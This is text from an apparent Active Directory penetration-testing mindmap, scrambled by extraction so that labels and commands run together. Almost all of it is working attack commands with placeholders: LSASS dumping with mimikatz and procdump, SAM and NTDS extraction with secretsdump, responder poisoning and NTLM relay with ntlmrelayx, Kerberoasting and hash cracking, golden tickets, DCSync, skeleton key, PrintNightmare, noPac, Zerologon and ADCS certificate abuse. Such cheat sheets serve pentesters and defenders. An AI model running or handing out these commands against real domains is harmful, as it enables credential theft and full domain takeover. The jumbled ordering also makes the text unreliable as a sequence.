Ad Map
Ad Map
CMPivot
SharpSCCM
MATCH p=(u:User)-[:SQLAdmin]->(c:Computer)
Users with SQLadmin RETURN p
enum_db
valid credentials
xp_dir_tree <ip> coerce SMB ->
cme smb <ip> -u <user> -p '<password>' -- cme smb -u <user> -p <pass>' <ip> --local-auth
users Users
Get all users
Local User Administrator access
impacket like cleartext pasword without
ldeep ldap -u <user> -p '<password>' -d domain/
<domain> -s ldap://<dc_ip> users
psexec.py <domain>/<user>:<password>@<ip>
cme smb <ip> -u <user> -p <password> --
Account Authority/sytem
enumerate SMB share shares
interactive-shell psexec.exe -AcceptEULA \\<ip>
🔥 bloodhound
<outfile> -z
import-module sharphound.ps1;invoke-
ACL pseudo-shell (file write and read)
<password>@<ip>
dcomexec.py <domain>/<user>:
bloodhound -collectionmethod all -domain <password>@<ip>
<domain> Delegation
Domain enum
Password crackmapexec smb <ip_range> -u <user> -p
sharphound.exe -c all -d <domain> Users
Cleartext password <password> -d <domain>
Enumerate AD CS
🔥 certipy find -u <user>@<domain> -p
<password> -dc-ip <domaincontroller> ADCS
Lateral move atexec.py -hashes ":<hash>" <user>@<ip>
"command"
Authority/sytem
cme smb <ip> -u <user> -p <password> -M pseudo-shell (file write and read) dcomexec.py -hashes ":<hash>" <user>@<ip>
webdav #find
export KRB5CCNAME=/root/impacket- impacket tools: Same as Pass the hash but use
use C:\Windows\Temp Administrator access
examples/domain_ticket.ccache : -k and -no-pass for impacket
FodHelper
tgssub.py -in <ticket.ccache> -out
Kerberos <newticket.ccache> -altservice " Pass the Ticket
User Access Control (UAC) bypass WSReset
modify SPN <service>/<target>" #pr 1256
Low access
MSDT
impacket tools: Same as Pass the hash but use
Administrator access
SMBGhost CVE-2020-0796 : -aesKey for impacket (and use FQDN)
aesKey
CVE-2021-36934 proxychains secretsdump -aesKey <key>
see dcsync
(HiveNightmare/SeriousSAM) '<domain>'/'<user>'@'<ip>'
certipy req -k -ca <ca> ticketer.py -nthash <hash> -domain-sid proxychains secretsdump -no-pass
see dcsync
-template Machine -target <dc> certipy auth -pfx <pfxile> <domain_sid> -domain <domain> -spn '<domain>'/'<user>'@'<ip>'
cifs/<dc> <targetUser>
Machine NT Hash proxychains atexec.py -no-pass
certipy shadow auto -u Socks (with NTLM relay)
./Rubeus tgtdeleg /nowrap TGT (pass the ticket) '<machine>$'@<domain> -k account <domain>/<user>@<ip> "command"
CertPotato '<machine$>' Authority/sytem Administrator access
shadow credentials pseudo-shell (file write and read)
proxychains smbexec.py -no-pass
<domain>/<user>@<ip>
.\KrbRelayUp.exe relay -Domain <domain> - ./KrbRelayUp.exe spawn -m rbcd -d <omdain> -
CreateNewComputerAccount -ComputerName dc <dc> -cn <computer_name>-cp
... get hash NTLM from certificate certipy auth -pfx <crt_file> -dc-ip <dc_ip> NTLM hash
mimikatz "privilege::debug"
procdump.exe -accepteula -ma lsass.exe "sekurlsa::minidump lsass.dmp"
lsass.dmp "sekurlsa::logonPasswords" "exit"
Known vulnerabilities Trust relationship / Forest to Forest
privexchange
python privexchange.py -ah
<attacker_host_or_ip> <exchange_host> -u
dom admin 🔥 lsassy -d <domain> -u <user> -p
<password> <ip>
Get-DomainTrustMapping
Coerce HTTP ->
(CVE-2019-0724, CVE-2019-0686) <user> -d <domain> -p <password> Admin ldeep ldap -u <user> -p '<password>' -d
<domain> -s ldap://<dc_ip> trusts
cme smb <ip_range> -u <user> -p '<password>'
cme smb <ip> -u <user> -p <password> -M --sam
scan nopac mimikatz kerberos::golden /user:Administrator
/krbtgt:<HASH_KRBTGT> /domain:<domain>
hashdump Get-DomainSID -Domain <domain> mimikatz lsadump::dcsync /domain:<domain> /sid:<user_sid> /sids:<RootDomainSID-519> /ptt
.\noPac.exe -domain <domain> -user <user> - Get-DomainSID -Domain <target_domain> /user:<domain>\krbtgt
🔥 SamAccountName / nopac
CVE-2021-42287/CVE-2021-42278
pass <pass> /dc <dc_fqdn> /mAccount
<machine_account> /mPassword
<machine_pass> /service cifs /ptt Delete computer
reg save HKLM\SAM <file>; reg save
HKLM\SECURITY <file>; reg save
HKLM\SYSTEM <file>
secretsdump.py -system SYSTEM -sam SAM
LOCAL ticketer.py -nthash <child_krbtgt_hash> -
Known vulnerabilities Pass the ticket DCSYNC DOM ADMIN lookupsid.py -domain-sids domain-sid <child_sid> -domain <child_domain>
Golden ticket <domain>/<user>:'<password>'@<dc_ip> 0 -extra-sid <parent_domain_sid>-519 goldenuser
with impacket : addcomputer.py / addspn.py /
mklink /d c:\shadowcopy \\? Hashes NTLM
renameMachine.py / getTGT.py /
\GLOBALROOT\Device\HarddiskVolumeShadow
renameMachine.py / getST.py raiseChild.py <domain>/<user>:'<password>'
shadow copies diskshadow list shadows all Copy1\
Extract credentials Lateral move PTH
from SAM Pass the ticket
🔥 CVE-2021-1675.py <domain>/<user>: Child Domain to Forest Compromise - extra SIDs mimikatz kerberos::golden /user:Administrator
<password>@<target> '\\<smb_server_ip>\ mimikatz "privilege::debug" "lsadump::sam" /domain:<domain> /sid:<domain_sid> /aes256:
PrintNightmare Admin (parent/child) (child/parent)
<share>\inject.dll' "exit" <trust_key_aes256> /sids:
(CVE-2021-1675 / CVE-2021-34527)
<target_domain_sid>-519 /service:krbtgt
(CVE-2022-26923) p '<password>' -user 'certifriedpc' -pass 'certifriedpass' -target <ca_fqdn> -ca certipy auth -pfx <pfx_file> -username '<dc>$' Delete computer
(need ADCS) 'certifriedpass' -dns '<fqdn_dc>' <ca_name> -template Machine Pass the ticket DCSYNC DOM ADMIN inter_realm_ticket TRUST (parent/child)
-domain <domain> -dc-ip <dc_ip>
reg.py <domain>/<user>:<password>@<ip> secretsdump.py -sam <sam_file> -system (child/parent) ticketer.py -nthash <trust_key> -domain-sid
backup -o '\\<smb_ip>\share' <system_file> LOCAL <child_sid> -domain <child_domain> getST.py -k -no-pass -spn cifs/<dc_fqdn>
-extra-sid <parent_domain_sid>-519 -spn <parent_domain>/trustfakeuser@<parent_domai
krbtgt/<parent_domain> goldenuser n> -debug
cme smb <ip_range> -u <user> -p '<password>'
--lsa
Cached domain logon MsCache 2 Breaking forest trust
🔥 secretsdump.py <domain>/<user>:
<password>@<ip> Machine account
(printerbug or petitpotam to force the DC of
the external forest to connect on a local
unconstrained delegation machine. Capture
Uncontrained delegation
Extract credentials from LSA User + Pass TGT, inject into memory and dcsync)
reg.py <domain>/<user>:<password>@<ip> secretsdump.py -security <security_file> - Service account
backup -o '\\<smb_ip>\share' system <system_file> LOCAL MATCH p=(n:User)-[:MemberOf]->(m:Group)
Administrator access WHERE n.domain="<domain>" AND
Trust relationship
🔥 DonPAPI.py <domain>/<user>:
<password>@<target>
Users with foreign Domain Group Membership m.domain<>n.domain RETURN p
🔥
cme smb <dc-ip> -u user.txt -p password.txt # <target_domain>\administrator Directory Service Restore Mode (DSRM) PropertyType DWORD
Clear text credentials found dcsync secretsdump.py '<domain>/<user>:
multiple test (carrefull of lock policy) Crack Hash <pass>'@<ip>
secretsdump mimikatz "privilege::debug" "misc::skeleton"
sprayhound -U <users.txt> -d <domain> -dc '<domain>'/'<user>':'<password>'@'<domain_co Lateral move "exit"
🔥 responder -I eth0 (use --lm to force lm secretsdump.py -ntds ntds_file.dit -system Skeleton Key password is mimikatz
<dcip> ntroller>'
LLMNR / NBTNS/ MDNS downgrade) # disable smb & http if relay
change password net user <user> <password> /domain User with clear text pass
Credits
targetedKerberoast.py -d <domain> -u <user> -
p <pass> hash found (TGS)
GenericAll / GenericWrite add SPN (target Kerberoasting)
https://www.ired.team/ (@spotheplanet) john --format=nt hash.txt ForceChangePassword User with clear text pass
Jenaye (@jenaye_fr) net rpc password <user> <password> -S
NTLM <dc_fqdn>
https://ppn.snovvcrash.rocks/ (@snovvcrash) hashcat -m 1000 -a 3 hash.txt
Daahtk (@Daahtk)
https://book.hacktricks.xyz/ (@carlospolopm) aclpwn.py
john --format=netntlm hash.txt ACLs/ACEs
permissions
https://github.com/swisskyrepo/PayloadsAllThe acltoolkit
NetNTLMv1 hashcat -m 5500 -a 3 hash.txt <domain>/<user>:'<password>@<target> get-
Things/ (@pentest_swissky)
objectacl [-all| -object <object>]
https://crack.sh/
Legend https://blog.harmj0y.net/ (@harmj0y)
MATCH p=(g:Group)-[:ReadLAPSPassword]->
john --format=netntlmv2 hash.txt who can read LAPS (c:Computer) RETURN p
https://hausec.com/domain-penetration-
NetNTLMv2 User account
testing/ (@haus3c)
Bloodhound hashcat -m 5600 -a 0 hash.txt rockyou.txt clear text pass Get-LAPSPasswords -DomainController <ip_dc>
Crack Hash -Credential <domain>\<login> | Format-Table -
https://dirkjanm.io/ (@_dirkjan)
hashcat -m 13100 -a 0 spn.txt rockyou.txt AutoSize
PowerView
https://casvancooten.com/ (@chvancooten) Kerberos 5 TGS
Impacket john spn.txt --format=krb5tgs -- foreach ($objResult in $colResults)
wordlist=rockyou.txt {$objComputer = $objResult.Properties;
https://zer1t0.gitlab.io/posts/attacking_ad/ $objComputer.name|where
get laps passwords
crackmapexec {$objcomputer.name -ne
Kerberos 5 TGS AES128 hashcat -m 19600 -a 0 spn.txt rockyou.txt $env:computername}|%{foreach-object {Get- admin
https://beta.hackndo.com (@HackAndDo)
AdmPwdPassword -ComputerName $_}}}
certipy
and a lot more ... Kerberos 5 TGS AES256 hashcat -m 19700 -a 0 spn.txt rockyou.txt
Metsaploit cme ldap <dc_ip> -d <domain> -u <user> -p
Kerberos Delegation move
<password> --module laps
hashcat -m 18200 -a 0 AS-REP_roast-hashes
Windows tool Kerberos ASREP rockyou.txt ldeep ldap -u <user> -p '<password>' -d
use <domain> -s ldap://<dc_ip> delegations
post/windows/gather/credentials/enum_laps
Command hashcat -m 2100 -a 0 mscache-hash list delegations
MsCache 2 (slow) rockyou.txt findDelegation.py <domain>/<user>:
MATCH (gr:Group), (gp:GPO), p=((gr)- <password>@<ip>
dangerous (could break stuff) [:GenericWrite]->(gp)) RETURN p
"CN=Policies,CN=System,DC=blah,DC=com" -
ResolveGUIDs | ? {$_.ObjectAceType -eq Get-DomainComputer -Unconstrained -
"Group-Policy-Container" }| select ObjectDN, Properties DnsHostName
CVE (probably patched) SID of principals that can create new GPOs in
the domain ActiveDirectoryRights, SecurityIdentifier | fl
MATCH (c:Computer
how to read GPO Get unconstrained delegation machines {unconstraineddelegation:true}) RETURN c
Get-DomainOU | Get-DomainObjectAcl -
ResolveGUIDs | ? {$_.ObjectAceType -eq "GP-
Enumeration infos MATCH (u:User {owned:true}), (c:Computer
Link" -and $_.ActiveDirectoryRights -match
{unconstraineddelegation:true}),
return the principals that can write to the GP- "WriteProperty" }| select ObjectDN,
technique/status/explanation linux command p=shortestPath((u)-[*1..]->(c)) RETURN p
Link attribute on OUs SecurityIdentifier | fl
Highlight Technique 1 result / go to
windows command Unconstrained delegation privilege::debug sekurlsa::tickets /export
Generic Write on GPO Abuse GPO Access sekurlsa::tickets /export
if dc
windows command Rubeus monitor /interval:5
Kerberos TGT Pass The Ticket DCSync DomAdmin
technique/status/explanation go to (Force_connection_with_coerced_auth)
Technique3 assemble linux command
technique/status/explanation MITM (Listen and relay) Get-DomainComputer -TrustedToAuth -
Properties DnsHostName, MSDS-
Listener AllowedToDelegateTo
NetNtlmv1
🔥
Get-DomainUser -TrustedToAuth
responder -I eth0 (use --lm to force lm
downgrade) NetNtlmv2 MATCH (c:Computer), (t:Computer), p=((c)-
Get constrained delegation [:AllowedToDelegate]->(t)) RETURN p
Listen smbclient.py User
MATCH (u:User {owned:true}), (c:Computer
{name: "<MYTARGET.FQDN>"}),
Kerberos Delegation p=shortestPath((u)-[*1..]->(c)) RETURN p
NTLM Relay
nmap -Pn -sS -T4 --open --script smb- rubeus.exe s4u /user:<fake_computer$>
security-mode -p445 ADDRESS/MASK /aes256:<AES 256 hash>
(MITM)
NTLM relay /impersonateuser:administrator
Listen and Relay
Find SMB not signed (default on non DC) use exploit/windows/smb/smb_relay /msdsspn:cifs/<victim.domain.local> Admin
rubeus.exe hash /password:<computer_pass> /altservice:krbtgt,cifs,host,http,winrm,RPCSS,w
/user:<computer> /domain:<domain> sman,ldap /domain:domain.local /ptt
cme smb $hosts --gen-relay-list relay.txt
ntlmrelayx.py -tf targets.txt -smb2support rbcd.py -delegate-from '<computer>$' - getST.py -spn host/<dc_fqdn>
(-6) --enum-domain Users
SMB unsigned delegate-to '<target>$' -dc-ip '<domain>/<computer_account>:
-> SMB '<dc>' -action 'write' <computer_pass>' -impersonate Administrator - Kerberos TGT
🔥
Object: msDS-
AllowedToActOnBehalfOfOtherIdentit <domain>/<user>:<password> -dc-ip <dc_ip>
ntlmrelayx.py -tf targets.txt -smb2support Resource-Based Constrained Delegation
lateral move (socks)
-socks (-6) (RBCD)
addcomputer.py -computer-name
'<computer_name>' -computer-pass
http ADCS web ESC8 '<ComputerPassword>' -dc-host <dc> -domain-
netbios <domain_netbios> '<domain>/<user>:
-> HTTP sccm ntlm relay attack <password>'
add computer account
ntlmrelayx.py -t dcsync://<dc_02_ip> -
smb2support -auth-smb <user>:<password> DcSync
Zero-Logon (safe method) coerce come from dc01, relay to dc02
SMB -> Netlogon (CVE-2020-1472)
Arp poisoning
Weak ADCS configuration
pywsus.py
wsus relay ntlmrelayx.py -t Rubeus.exe asktgt /user:<user> /certificate:
http://<dc_ip>/certsrv/certfnsh.asp -debug - <base64-certificate> /ptt
smb2support --adcs --template
DomainController
gettgtpkinit.py -pfx-base64 $(cat cert.b64)
<domain>/<dc_name>$ <ccache_file> Pass the ticket DCSync DomAdmin
Web enrollement is up
🔥 ESC8
certipy relay -ca <ca_ip> -template
DomainController certipy auth -pfx <certificate> -dc-ip <dc_ip>
Get templates information certify.exe find [ /vulnerable] certify.exe request request /ca:<server>\<ca-
Misconfigured Certificate Templates
name> /template:<template> /onbehalfof:
certipy find -u <user>@<domain> -p certify.exe request /ca:<server>\<ca-name> <domain>\<user> /enrollcert:<path.pfx>
<password> -dc-ip <domaincontroller> /template:"<vulnerable template name>" [/enrollcertpw:<cert-password>]
certutil -TCAInfo
Display CA information
certify.exe cas
Get PKI objects information certify.exe pkiobjects vulnerable PKI Object access control ESC5 ACL